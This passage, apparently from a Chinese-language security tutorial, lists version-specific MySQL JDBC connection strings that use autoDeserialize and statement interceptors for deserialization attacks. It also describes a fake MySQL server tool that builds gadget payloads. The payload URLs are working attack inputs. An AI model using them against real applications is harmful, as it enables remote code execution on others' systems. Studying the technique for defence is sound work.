    "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

6.x

属性名有所不同，queryInterceptors 换为 statementInterceptors

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj

jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同>=5.1.11版本，但需要连接后执行查询操作。

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

工具

MySQL-fake-server，纯 Java 实现的 MySQL Fake Server | 支持 GUI 版和命令行版 | 支持反序列化和文件读取的利用方式 | 支持常见的 GADGET 和自定义 GADGET 数据 | 根据目标环境自动生成匹配的 PAYLOAD | 支持 PGSQL 和 DERBY 的利用，项目地址如下

https://github.com/4ra1n/mysql-fake-server

启动命令如下，这里使用gui版fake-mysql，启动后可以根据自己的环境输入参数，生成payload

java -jar fake-mysql-gui.jar

参考链接

参考文章如下，感谢大佬们的帮助

https://drun1baby.top/2023/01/13/MySQL-jdbc-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#0x03-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://xz.aliyun.com/news/7754